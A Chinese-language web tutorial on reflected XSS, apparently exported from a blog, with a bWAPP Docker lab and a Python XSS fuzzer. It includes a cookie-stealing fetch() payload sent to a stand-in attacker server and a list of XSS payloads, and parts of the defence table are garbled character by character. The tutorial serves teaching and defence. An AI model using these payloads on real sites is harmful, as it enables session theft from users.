{"id":62638,"date":"2026-01-20T12:26:32","date_gmt":"2026-01-20T04:26:32","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/62638.html"},"modified":"2026-01-20T12:26:32","modified_gmt":"2026-01-20T04:26:32","slug":"%e5%8f%8d%e5%b0%84%e5%9e%8bxss%ef%bc%9a%e5%8e%9f%e7%90%86%e3%80%81%e5%8f%91%e7%8e%b0%e4%b8%8e%e5%88%a9%e7%94%a8","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/62638.html","title":{"rendered":"\u53cd\u5c04\u578bXSS\uff1a\u539f\u7406\u3001\u53d1\u73b0\u4e0e\u5229\u7528"},"content":{"rendered":"

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    \u53d7\u5bb3\u8005 (\u6d4f\u89c8\u5668)<\/p>\n

    \u653b\u51fb\u8005<\/p>\n

    #mermaid-svg-lp433Vl6RyFwx1cS{font-family:\\”trebuchet ms\\”,verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-lp433Vl6RyFwx1cS .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-lp433Vl6RyFwx1cS .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-lp433Vl6RyFwx1cS .error-icon{fill:#552222;}#mermaid-svg-lp433Vl6RyFwx1cS .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-lp433Vl6RyFwx1cS .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-lp433Vl6RyFwx1cS .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-lp433Vl6RyFwx1cS .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-lp433Vl6RyFwx1cS .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-lp433Vl6RyFwx1cS .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-lp433Vl6RyFwx1cS .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-lp433Vl6RyFwx1cS .marker{fill:#333333;stroke:#333333;}#mermaid-svg-lp433Vl6RyFwx1cS .marker.cross{stroke:#333333;}#mermaid-svg-lp433Vl6RyFwx1cS svg{font-family:\\”trebuchet ms\\”,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-lp433Vl6RyFwx1cS p{margin:0;}#mermaid-svg-lp433Vl6RyFwx1cS .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-lp433Vl6RyFwx1cS text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-lp433Vl6RyFwx1cS .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-lp433Vl6RyFwx1cS .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-lp433Vl6RyFwx1cS .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-lp433Vl6RyFwx1cS .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-lp433Vl6RyFwx1cS #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-lp433Vl6RyFwx1cS .sequenceNumber{fill:white;}#mermaid-svg-lp433Vl6RyFwx1cS #sequencenumber{fill:#333;}#mermaid-svg-lp433Vl6RyFwx1cS #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-lp433Vl6RyFwx1cS .messageText{fill:#333;stroke:none;}#mermaid-svg-lp433Vl6RyFwx1cS .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-lp433Vl6RyFwx1cS .labelText,#mermaid-svg-lp433Vl6RyFwx1cS .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-lp433Vl6RyFwx1cS .loopText,#mermaid-svg-lp433Vl6RyFwx1cS .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-lp433Vl6RyFwx1cS .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-lp433Vl6RyFwx1cS .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-lp433Vl6RyFwx1cS .noteText,#mermaid-svg-lp433Vl6RyFwx1cS .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-lp433Vl6RyFwx1cS .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-lp433Vl6RyFwx1cS .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-lp433Vl6RyFwx1cS .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-lp433Vl6RyFwx1cS .actorPopupMenu{position:absolute;}#mermaid-svg-lp433Vl6RyFwx1cS .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 \/ 0.4));}#mermaid-svg-lp433Vl6RyFwx1cS .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-lp433Vl6RyFwx1cS .actor-man circle,#mermaid-svg-lp433Vl6RyFwx1cS line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-lp433Vl6RyFwx1cS :root{–mermaid-font-family:\\”trebuchet ms\\”,verdana,arial,sans-serif;}<\/p>\n

    \u7b2c\u4e00\u9636\u6bb5：\u653b\u51fb\u51c6\u5907<\/p>\n

    \u7b2c\u4e8c\u9636\u6bb5：\u53d7\u5bb3\u8005\u89e6\u53d1<\/p>\n

    \u7b2c\u4e09\u9636\u6bb5：\u6f0f\u6d1e\u5229\u7528<\/p>\n

    1. \u6784\u9020\u6076\u610fURL<\/p>\n

    \u4f8b\u5982: http:\/\/target\/search?q=<script>attack()<\/script><\/p>\n

    2. \u901a\u8fc7\u90ae\u4ef6\u3001\u804a\u5929\u7b49\u6e20\u9053\u53d1\u9001\u6076\u610f\u94fe\u63a5<\/p>\n

    3. \u53d7\u5bb3\u8005\u70b9\u51fb\u94fe\u63a5，\u53d1\u8d77\u643a\u5e26\u6076\u610f\u53c2\u6570\u7684HTTP\u8bf7\u6c42<\/p>\n

    4. \u670d\u52a1\u5668\u5904\u7406\u8bf7\u6c42（\u901a\u5e38\u4e0d\u5b58\u50a8\u53c2\u6570）<\/p>\n

    5. \u8fd4\u56de\u5904\u7406\u7ed3\u679c（\u65e0\u6076\u610f\u4ee3\u7801）<\/p>\n

    6. \u5371\u9669！\u670d\u52a1\u5668\u5c06\u6076\u610f\u53c2\u6570q<\/p>\n

    \u672a\u7ecf\u5904\u7406\u76f4\u63a5\u62fc\u63a5\u8fdbHTML\u54cd\u5e94<\/p>\n

    7. \u8fd4\u56de\u5305\u542b\u6076\u610f\u811a\u672c\u7684HTTP\u54cd\u5e94<\/p>\n

    8. \u6d4f\u89c8\u5668\u89e3\u6790\u54cd\u5e94，\u6267\u884c\u5d4c\u5165\u7684\u6076\u610f\u811a\u672c<\/p>\n

    9. \u811a\u672c\u6267\u884c，\u7a83\u53d6Cookie\u7b49\u654f\u611f\u6570\u636e\u5e76\u53d1\u9001\u81f3\u653b\u51fb\u8005\u670d\u52a1\u5668<\/p>\n

    \u56fe\u8868\u89e3\u8bfb：<\/p>\n

    \u00b7 \u6b65\u9aa46\u662f\u6574\u4e2a\u6f0f\u6d1e\u7206\u53d1\u7684\u5173\u952e\u70b9，\u670d\u52a1\u5668\u5728\u6b64\u5904\u5931\u53bb\u4e86\u5bf9\u6570\u636e\u7684\u63a7\u5236\u3002 \u00b7 \u6b65\u9aa48\u4f53\u73b0\u4e86\u6d4f\u89c8\u5668\u5bf9\u670d\u52a1\u5668\u54cd\u5e94\u7684\u201c\u76f2\u76ee\u201d\u4fe1\u4efb\u3002 \u00b7 \u6b65\u9aa49\u5c55\u793a\u4e86\u6f0f\u6d1e\u88ab\u5229\u7528\u540e\u7684\u76f4\u63a5\u540e\u679c，\u653b\u51fb\u8005\u901a\u5e38\u5728\u6b64\u9636\u6bb5\u5efa\u7acb\u4e00\u4e2a\u4e0e\u76ee\u6807\u670d\u52a1\u5668\u540c\u6e90\u7684\u201c\u5408\u6cd5\u201d\u901a\u9053\u6765\u7a83\u53d6\u6570\u636e\u3002<\/p>\n

    \u7b2c\u4e09\u90e8\u5206：\u5b9e\u6218\u6f14\u7ec3 \u2014\u2014 \u4ece\u201c\u4e3a\u4ec0\u4e48\u201d\u5230\u201c\u600e\u4e48\u505a\u201d<\/p>\n

    \u73af\u5883\u4e0e\u5de5\u5177\u51c6\u5907<\/p>\n

    \u00b7 \u6f14\u793a\u73af\u5883：\u6211\u4eec\u4f7f\u7528\u4e00\u4e2a\u6545\u610f\u8bbe\u8ba1\u4e3a\u5b58\u5728\u6f0f\u6d1e\u7684Docker\u5316Web\u5e94\u7528\u2014\u2014bWAPP\u3002\u5b83\u96c6\u6210\u4e86\u591a\u79cd\u6f0f\u6d1e，\u975e\u5e38\u9002\u5408\u6559\u5b66\u4e0e\u6388\u6743\u6d4b\u8bd5\u3002 \u00b7 \u653b\u51fb\u673a\u73af\u5883：Kali Linux \u6216\u4efb\u4f55\u5b89\u88c5\u6709\u73b0\u4ee3\u6d4f\u89c8\u5668\u548c\u5fc5\u8981\u5de5\u5177\u7684Linux\/macOS\/Windows\u7cfb\u7edf\u3002 \u00b7 \u6838\u5fc3\u5de5\u5177： \u00b7 \u6d4f\u89c8\u5668：Chrome \/ Firefox (\u642d\u914d\u5f00\u53d1\u8005\u5de5\u5177)\u3002 \u00b7 \u4ee3\u7406\u5de5\u5177：Burp Suite Community\/Professional (\u7528\u4e8e\u62e6\u622a\u3001\u4fee\u6539\u548c\u91cd\u653e\u8bf7\u6c42)\u3002\u7248\u672c：v202x.x.x\u3002 \u00b7 \u96c6\u6210\u73af\u5883：Docker & Docker Compose\u3002<\/p>\n

    \u642d\u5efa\u6700\u5c0f\u5316\u5b9e\u9a8c\u73af\u5883<\/p>\n

    \u6267\u884c\u4ee5\u4e0b\u547d\u4ee4，\u5feb\u901f\u542f\u52a8\u4e00\u4e2a\u5305\u542bbWAPP\u7684\u6f0f\u6d1e\u73af\u5883：<\/p>\n

    # docker-compose.yml<\/span>
    \nversion<\/span>:<\/span> '3'<\/span>
    \nservices<\/span>:<\/span>
    \n bwapp<\/span>:<\/span>
    \n image<\/span>:<\/span> raesene\/bwapp
    \n container_name<\/span>:<\/span> bwapp–<\/span>lab
    \n ports<\/span>:<\/span>
    \n –<\/span> "8000:80"<\/span> # \u5c06\u5bb9\u5668\u768480\u7aef\u53e3\u6620\u5c04\u5230\u672c\u673a\u76848000\u7aef\u53e3<\/span>
    \n restart<\/span>:<\/span> unless–<\/span>stopped<\/p>\n

    # \u542f\u52a8\u73af\u5883<\/span>
    \ndocker-compose<\/span> up -d<\/p>\n

    # \u9a8c\u8bc1\u5bb9\u5668\u8fd0\u884c<\/span>
    \ndocker<\/span> ps<\/span> |<\/span> grep<\/span> bwapp<\/p>\n

    # \u8bbf\u95ee\u5e94\u7528 (\u7528\u6237\u540d: bee， \u5bc6\u7801: bug)<\/span>
    \n# \u6d4f\u89c8\u5668\u6253\u5f00: http:\/\/localhost:8000<\/span><\/p>\n

    \u6807\u51c6\u64cd\u4f5c\u6d41\u7a0b<\/p>\n

  • \u53d1\u73b0\/\u8bc6\u522b<\/li>\n

    \u76ee\u6807：\u5728bWAPP\u4e2d\u627e\u5230\u53cd\u5c04\u578bXSS\u6f0f\u6d1e\u70b9\u3002 \u64cd\u4f5c：<\/p>\n

  • \n

    \u767b\u5f55bWAPP，\u5728\u6f0f\u6d1e\u9009\u62e9\u4e0b\u62c9\u6846\u4e2d\u627e\u5230 \u201cXSS – Reflected (GET)\u201d \u5e76\u9009\u62e9\u3002<\/p>\n<\/li>\n

  • \n

    \u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u641c\u7d22\u9875\u9762\u3002\u5c1d\u8bd5\u8f93\u5165\u4e00\u4e2a\u666e\u901a\u5173\u952e\u8bcd，\u5982 test\u3002<\/p>\n<\/li>\n

  • \n

    \u89c2\u5bdf\u6d4f\u89c8\u5668\u5730\u5740\u680f\u548c\u9875\u9762\u56de\u663e\u3002URL\u53d8\u4e3a http:\/\/localhost:8000\/xss_get.php?firstname=test&lastname=&form=submit， \u9875\u9762\u663e\u793a \u201cHello test\u201d\u3002<\/p>\n<\/li>\n

  • \n

    \u5173\u952e\u601d\u8003：\u8f93\u5165\u88ab\u56de\u663e，\u4e14\u53c2\u6570 (firstname) \u901a\u8fc7URL (GET\u65b9\u6cd5) \u4f20\u9012\u3002\u8fd9\u662f\u53cd\u5c04\u578bXSS\u7684\u5178\u578b\u7279\u5f81\u3002<\/p>\n<\/li>\n

  • \n

    \u5229\u7528\/\u5206\u6790<\/p>\n<\/li>\n

    \u76ee\u6807：\u6784\u9020\u5e76\u9a8c\u8bc1\u4e00\u4e2a\u57fa\u672c\u7684XSS Payload\u3002 \u64cd\u4f5c：<\/p>\n

  • \n

    \u57fa\u7840\u63a2\u6d4b：\u5728 firstname \u8f93\u5165\u6846\u4e2d\u8f93\u5165\u4e00\u4e2a\u7b80\u5355\u7684\u6d4b\u8bd5Payload: \u3002 \u00b7 \u70b9\u51fb Send\u3002\u89c2\u5bdf\u53f3\u4fa7\u7684\u54cd\u5e94（Response）\u9762\u677f\u3002\u4f60\u4f1a\u5728HTML body\u4e2d\u53d1\u73b0\u4f60\u7684Payload\u88ab\u539f\u6837\u8f93\u51fa\u3002<\/p>\n

    HTTP\/1.1 200 OK
    \n…
    \n<p>Hello <script>alert(1)<\/script><\/p><\/p>\n

    \u8fd9\u8868\u660e\u670d\u52a1\u5668\u6ca1\u6709\u8fdb\u884c\u4efb\u4f55HTML\u7f16\u7801\u6216\u8fc7\u6ee4\u3002<\/p>\n<\/li>\n

  • \n

    \u9a8c\u8bc1\/\u6df1\u5165<\/p>\n<\/li>\n

    \u76ee\u6807：\u6784\u9020\u66f4\u5177\u5371\u5bb3\u6027\u7684Payload，\u6a21\u62df\u771f\u5b9e\u653b\u51fb\u3002 \u64cd\u4f5c：<\/p>\n

  • \u7a83\u53d6Cookie：\u5047\u8bbe\u7f51\u7ad9\u4f7f\u7528Cookie\u7ba1\u7406\u4f1a\u8bdd\u3002\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u4e00\u4e2aPayload，\u5c06\u7528\u6237\u7684Cookie\u53d1\u9001\u5230\u653b\u51fb\u8005\u63a7\u5236\u7684\u670d\u52a1\u5668\u3002<<\/span>script><\/span>fetch<\/span>(<\/span>\u2018http:<\/span>\/<\/span>\/<\/span>attacker–<\/span>server.<\/span>com\/<\/span>steal?<\/span>data=<\/span>\u2019+<\/span>document.<\/span>cookie)<\/span>;<\/span><<\/span>\/<\/span>script><\/span>
    \n \u4e3a\u4e86\u6f14\u793a，\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528Burp Suite\u7684 \u201cCollaborator client\u201d \u6216\u4e00\u4e2a\u7b80\u5355\u7684HTTP\u8bf7\u6c42\u63a5\u6536\u670d\u52a1（\u5982 nc -lvnp 9090）\u6765\u6a21\u62df\u653b\u51fb\u8005\u670d\u52a1\u5668\u3002<\/li>\n
  • \u4f1a\u8bdd\u52ab\u6301：\u5c06\u7a83\u53d6\u5230\u7684Cookie\u624b\u52a8\u8bbe\u7f6e\u5230\u53e6\u4e00\u4e2a\u6d4f\u89c8\u5668\u4e2d，\u53ef\u80fd\u76f4\u63a5\u767b\u5f55\u53d7\u5bb3\u8005\u7684\u8d26\u6237\u3002\u8fd9\u5c55\u793a\u4e86\u53cd\u5c04\u578bXSS\u5982\u4f55\u5347\u7ea7\u4e3a\u5b8c\u6574\u7684\u8eab\u4efd\u4f2a\u9020\u653b\u51fb\u3002<\/li>\n
  • \u9ad8\u7ea7Payload\u6784\u9020： \u00b7 \u7ed5\u8fc7\u7b80\u5355\u8fc7\u6ee4：\u5982\u679c\u670d\u52a1\u5668\u8fc7\u6ee4\u4e86 <\/li>\n

    \u81ea\u52a8\u5316\u4e0e\u811a\u672c<\/p>\n

    \u4e3a\u4e86\u66f4\u9ad8\u6548\u5730\u5728\u6388\u6743\u6d4b\u8bd5\u4e2d\u5bfb\u627e\u53cd\u5c04\u578bXSS，\u6211\u4eec\u53ef\u4ee5\u7f16\u5199\u4e00\u4e2a\u7b80\u5355\u7684Python\u811a\u672c，\u57fa\u4e8e\u5df2\u77e5\u7684Payload\u5217\u8868\u5bf9\u76ee\u6807\u53c2\u6570\u8fdb\u884c\u6a21\u7cca\u6d4b\u8bd5\u3002<\/p>\n

    #!\/usr\/bin\/env python3<\/span>
    \n"""
    \n\u53cd\u5c04\u578bXSS\u57fa\u7840\u6a21\u7cca\u6d4b\u8bd5\u811a\u672c
    \n\u8b66\u544a：\u672c\u811a\u672c\u4ec5\u7528\u4e8e\u6388\u6743\u7684\u5b89\u5168\u6d4b\u8bd5\u73af\u5883\u3002\u672a\u7ecf\u6388\u6743\u5bf9\u4ed6\u4eba\u7684\u7cfb\u7edf\u8fdb\u884c\u6d4b\u8bd5\u662f\u975e\u6cd5\u884c\u4e3a\u3002
    \n"""<\/span><\/p>\n

    import<\/span> requests
    \nimport<\/span> sys
    \nfrom<\/span> urllib.<\/span>parse import<\/span> urljoin,<\/span> urlparse<\/p>\n

    # \u4e00\u4e2a\u57fa\u7840\u7684XSS\u6d4b\u8bd5Payload\u5217\u8868<\/span>
    \nPAYLOADS =<\/span> [<\/span>
    \n # \u57fa\u7840\u811a\u672c\u6807\u7b7e<\/span>
    \n "<script>alert('XSS')<\/script>"<\/span>,<\/span>
    \n # \u56fe\u7247\u6807\u7b7e\u9519\u8bef\u4e8b\u4ef6<\/span>
    \n "<img src=x onerror=alert('XSS')>"<\/span>,<\/span>
    \n # SVG\u5411\u91cf\u56fe\u5f62<\/span>
    \n "<svg onload=alert('XSS')>"<\/span>,<\/span>
    \n # \u5e26\u4e8b\u4ef6\u5904\u7406\u5668\u7684\u8f93\u5165\u6846<\/span>
    \n "\\\\"><input onfocus=alert('XSS') autofocus>"<\/span>,<\/span>
    \n # JavaScript\u4f2a\u534f\u8bae（\u5728URL\u6216href\u7b49\u5c5e\u6027\u4e2d）<\/span>
    \n "javascript:alert('XSS')"<\/span>,<\/span>
    \n # \u7f16\u7801\u53d8\u4f53 (URL\u7f16\u7801)<\/span>
    \n "%3Cscript%3Ealert('XSS')%3C\/script%3E"<\/span>,<\/span>
    \n]<\/span><\/p>\n

    def<\/span> test_xss<\/span>(<\/span>url,<\/span> param_name,<\/span> param_value_original,<\/span> method=<\/span>'GET'<\/span>)<\/span>:<\/span>
    \n """
    \n \u6d4b\u8bd5\u5355\u4e2a\u53c2\u6570\u662f\u5426\u5b58\u5728\u53cd\u5c04\u578bXSS
    \n :param url: \u76ee\u6807URL
    \n :param param_name: \u8981\u6d4b\u8bd5\u7684\u53c2\u6570\u540d
    \n :param param_value_original: \u53c2\u6570\u7684\u539f\u59cb\u5b89\u5168\u503c（\u7528\u4e8e\u66ff\u6362）
    \n :param method: HTTP\u65b9\u6cd5，GET\u6216POST
    \n """<\/span>
    \n session =<\/span> requests.<\/span>Session(<\/span>)<\/span><\/p>\n

    for<\/span> payload in<\/span> PAYLOADS:<\/span>
    \n # \u6784\u5efa\u6d4b\u8bd5\u6570\u636e<\/span>
    \n if<\/span> method.<\/span>upper(<\/span>)<\/span> ==<\/span> 'GET'<\/span>:<\/span>
    \n # \u5bf9\u4e8eGET\u8bf7\u6c42，\u76f4\u63a5\u66ff\u6362\u53c2\u6570\u503c<\/span>
    \n parsed_url =<\/span> urlparse(<\/span>url)<\/span>
    \n # \u8fd9\u91cc\u7b80\u5316\u5904\u7406，\u5b9e\u9645\u5e94\u7528\u4e2d\u9700\u8981\u66f4\u5065\u58ee\u7684\u53c2\u6570\u66ff\u6362\u903b\u8f91<\/span>
    \n test_url =<\/span> url.<\/span>replace(<\/span>param_value_original,<\/span> payload)<\/span>
    \n print<\/span>(<\/span>f"[*] Testing GET: <\/span>{<\/span>test_url}<\/span><\/span>"<\/span><\/span>)<\/span>
    \n try<\/span>:<\/span>
    \n resp =<\/span> session.<\/span>get(<\/span>test_url,<\/span> timeout=<\/span>5<\/span>)<\/span>
    \n if<\/span> payload in<\/span> resp.<\/span>text:<\/span>
    \n print<\/span>(<\/span>f"[!] Possible XSS found with payload: <\/span>{<\/span>payload}<\/span><\/span>"<\/span><\/span>)<\/span>
    \n print<\/span>(<\/span>f" Payload is directly reflected in response."<\/span><\/span>)<\/span>
    \n # \u53ef\u4ee5\u8fdb\u4e00\u6b65\u68c0\u67e5\u53cd\u5c04\u70b9\u662f\u5426\u5728\u53ef\u6267\u884c\u4e0a\u4e0b\u6587<\/span>
    \n except<\/span> requests.<\/span>exceptions.<\/span>RequestException as<\/span> e:<\/span>
    \n print<\/span>(<\/span>f"[E] Request failed: <\/span>{<\/span>e}<\/span><\/span>"<\/span><\/span>)<\/span><\/p>\n

    elif<\/span> method.<\/span>upper(<\/span>)<\/span> ==<\/span> 'POST'<\/span>:<\/span>
    \n # \u5bf9\u4e8ePOST\u8bf7\u6c42，\u9700\u8981\u6784\u5efa\u6570\u636e\u5b57\u5178<\/span>
    \n # \u8fd9\u91cc\u5047\u8bbe\u6211\u4eec\u77e5\u9053\u6240\u6709\u53c2\u6570\u3002\u66f4\u9ad8\u7ea7\u7684\u811a\u672c\u4f1a\u4ece\u539f\u59cb\u8bf7\u6c42\u4e2d\u89e3\u6790\u3002<\/span>
    \n data =<\/span> {<\/span>\u2018field1\u2019:<\/span> \u2018value1\u2019， param_name:<\/span> payload}<\/span> # \u793a\u4f8b<\/span>
    \n print<\/span>(<\/span>f"[*] Testing POST to <\/span>{<\/span>url}<\/span><\/span> with data: <\/span>{<\/span>data}<\/span><\/span>"<\/span><\/span>)<\/span>
    \n try<\/span>:<\/span>
    \n resp =<\/span> session.<\/span>post(<\/span>url,<\/span> data=<\/span>data,<\/span> timeout=<\/span>5<\/span>)<\/span>
    \n if<\/span> payload in<\/span> resp.<\/span>text:<\/span>
    \n print<\/span>(<\/span>f"[!] Possible XSS found with payload: <\/span>{<\/span>payload}<\/span><\/span>"<\/span><\/span>)<\/span>
    \n except<\/span> requests.<\/span>exceptions.<\/span>RequestException as<\/span> e:<\/span>
    \n print<\/span>(<\/span>f"[E] Request failed: <\/span>{<\/span>e}<\/span><\/span>"<\/span><\/span>)<\/span><\/p>\n

    def<\/span> main<\/span>(<\/span>)<\/span>:<\/span>
    \n if<\/span> len<\/span>(<\/span>sys.<\/span>argv)<\/span> <<\/span> 4<\/span>:<\/span>
    \n print<\/span>(<\/span>f"Usage: <\/span>{<\/span>sys.<\/span>argv[<\/span>0<\/span>]<\/span>}<\/span><\/span> <target_url> <parameter_name> <original_value> [GET|POST]"<\/span><\/span>)<\/span>
    \n print<\/span>(<\/span>"Example: {sys.argv[0]} http:\/\/target\/search q \u2018hello\u2019 GET"<\/span>)<\/span>
    \n sys.<\/span>exit(<\/span>1<\/span>)<\/span><\/p>\n

    target_url =<\/span> sys.<\/span>argv[<\/span>1<\/span>]<\/span>
    \n param_name =<\/span> sys.<\/span>argv[<\/span>2<\/span>]<\/span>
    \n original_value =<\/span> sys.<\/span>argv[<\/span>3<\/span>]<\/span>
    \n method =<\/span> sys.<\/span>argv[<\/span>4<\/span>]<\/span> if<\/span> len<\/span>(<\/span>sys.<\/span>argv)<\/span> ><\/span> 4<\/span> else<\/span> \u2018GET\u2019<\/p>\n

    print<\/span>(<\/span>f"[+] Starting basic reflected XSS fuzzing against <\/span>{<\/span>target_url}<\/span><\/span>"<\/span><\/span>)<\/span>
    \n print<\/span>(<\/span>f"[+] Parameter: <\/span>{<\/span>param_name}<\/span><\/span>, Method: <\/span>{<\/span>method}<\/span><\/span>"<\/span><\/span>)<\/span>
    \n print<\/span>(<\/span>"-"<\/span> *<\/span> 50<\/span>)<\/span><\/p>\n

    test_xss(<\/span>target_url,<\/span> param_name,<\/span> original_value,<\/span> method)<\/span><\/p>\n

    print<\/span>(<\/span>"-"<\/span> *<\/span> 50<\/span>)<\/span>
    \n print<\/span>(<\/span>"[+] Fuzzing completed."<\/span>)<\/span><\/p>\n

    if<\/span> __name__ ==<\/span> '__main__'<\/span>:<\/span>
    \n main(<\/span>)<\/span><\/p>\n

    \u5bf9\u6297\u6027\u601d\u8003：\u7ed5\u8fc7\u4e0e\u8fdb\u5316<\/p>\n

    \u73b0\u4ee3Web\u5e94\u7528\u5f80\u5f80\u90e8\u7f72\u4e86Web\u5e94\u7528\u9632\u706b\u5899（WAF）\u3001\u8f93\u5165\u8fc7\u6ee4\u5668\u548c\u8f93\u51fa\u7f16\u7801\u5e93\u3002\u653b\u51fb\u6280\u672f\u4e5f\u968f\u4e4b\u8fdb\u5316\u3002<\/p>\n

  • \u7ed5\u8fc7\u9ed1\u540d\u5355\u8fc7\u6ee4： \u00b7 \u5927\u5c0f\u5199\u53d8\u6362：<\/li>\n
  • \u57fa\u4e8eDOM\u7684XSS（\u8fdb\u5316）：\u5982\u679c\u670d\u52a1\u5668\u7aef\u5df2\u505a\u4e25\u683c\u8fc7\u6ee4，\u4f46\u5ba2\u6237\u7aefJavaScript\u4ecd\u4e0d\u5b89\u5168\u5730\u4f7f\u7528\u4e86 location.hash， document.write \u7b49API\u5904\u7406\u7528\u6237\u53ef\u63a7\u6570\u636e，\u5219\u53ef\u80fd\u4ea7\u751fDOM\u578bXSS，\u8fd9\u662f\u4e00\u79cd\u66f4\u9690\u853d\u7684\u53d8\u4f53，\u672c\u6587\u4e0d\u4f5c\u5c55\u5f00，\u4f46\u5728\u77e5\u8bc6\u4f53\u7cfb\u4e2d\u7d27\u5bc6\u76f8\u8fde\u3002<\/li>\n

    \u7b2c\u56db\u90e8\u5206：\u9632\u5fa1\u5efa\u8bbe \u2014\u2014 \u4ece\u201c\u600e\u4e48\u505a\u201d\u5230\u201c\u600e\u4e48\u9632\u201d<\/p>\n

    \u9632\u5fa1\u53cd\u5c04\u578bXSS，\u5fc5\u987b\u5efa\u7acb\u201c\u8f93\u5165\u9a8c\u8bc1+\u8f93\u51fa\u7f16\u7801+\u5b89\u5168\u5934\u201d\u7684\u7eb5\u6df1\u9632\u5fa1\u4f53\u7cfb\u3002<\/p>\n

    \u5f00\u53d1\u4fa7\u4fee\u590d：\u5b89\u5168\u7684\u7f16\u7801\u5b9e\u8df5<\/p>\n

    \u6838\u5fc3\u539f\u5219：\u5bf9\u4e00\u5207\u7528\u6237\u53ef\u63a7\u6570\u636e\u8fdb\u884c\u4e25\u683c\u7684\u8f93\u51fa\u7f16\u7801，\u7f16\u7801\u65b9\u5f0f\u53d6\u51b3\u4e8e\u8f93\u51fa\u4e0a\u4e0b\u6587\u3002<\/p>\n

    \u4e0a\u4e0b\u6587 \u5371\u9669\u6a21\u5f0f \u5b89\u5168\u6a21\u5f0f（\u793a\u4f8b） \u539f\u7406 HTML\u6b63\u6587 echo \u201c<\/p>\n

    \u201d . <\/p>\n

    i<\/p>\n

    n<\/p>\n

    p<\/p>\n

    u<\/p>\n

    t<\/p>\n

    .<\/p>\n

    \u201c<\/p>\n

    <<\/p>\n

    \/<\/p>\n

    p<\/p>\n

    ><\/p>\n

    \u201d<\/p>\n

    ;<\/p>\n

    e<\/p>\n

    c<\/p>\n

    h<\/p>\n

    o<\/p>\n

    \u201c<\/p>\n

    <<\/p>\n

    p<\/p>\n

    ><\/p>\n

    \u201d<\/p>\n

    .<\/p>\n

    h<\/p>\n

    t<\/p>\n

    m<\/p>\n

    l<\/p>\n

    s<\/p>\n

    p<\/p>\n

    e<\/p>\n

    c<\/p>\n

    i<\/p>\n

    a<\/p>\n

    l<\/p>\n

    c<\/p>\n

    h<\/p>\n

    a<\/p>\n

    r<\/p>\n

    s<\/p>\n

    (<\/p>\n

    input . \u201c<\/p>\u201d; echo \u201c<p>\u201d . htmlspecialchars(<\/p>\n

    <\/span><\/span>in<\/span>p<\/span>u<\/span>t<\/span>.\u201c<\/span><\/span><<\/span><\/span><\/span><\/span>\/<\/span>p<\/span><\/span>><\/span><\/span><\/span><\/span>\u201d<\/span>;<\/span><\/span>ec<\/span>h<\/span>o<\/span>\u201c<\/span><\/span><<\/span><\/span><\/span><\/span>p<\/span><\/span>><\/span><\/span><\/span><\/span>\u201d.<\/span>h<\/span>t<\/span>m<\/span>l<\/span>s<\/span>p<\/span>ec<\/span>ia<\/span>l<\/span>c<\/span>ha<\/span>rs<\/span>(<\/span><\/span><\/span><\/span><\/span>input， ENT_QUOTES， \u2018UTF-8\u2019) . \u201c<\/p>\n

    \u201d; htmlspecialchars \u5c06 <， >， &， \u201c， \u2019 \u8f6c\u6362\u4e3aHTML\u5b9e\u4f53，\u4f7f\u5176\u5931\u53bb\u6807\u7b7e\/\u5c5e\u6027\u8bed\u4e49\u3002
    \n HTML\u5c5e\u6027 <input value=\u201c<?=$_GET[\u2018q\u2019]?>\u201d> <input value=\u201c<?=htmlspecialchars($_GET[\u2018q\u2019]， ENT_QUOTES)?>\u201d> \u540c\u4e0a\u3002ENT_QUOTES \u786e\u4fdd\u5355\u53cc\u5f15\u53f7\u90fd\u88ab\u7f16\u7801\u3002
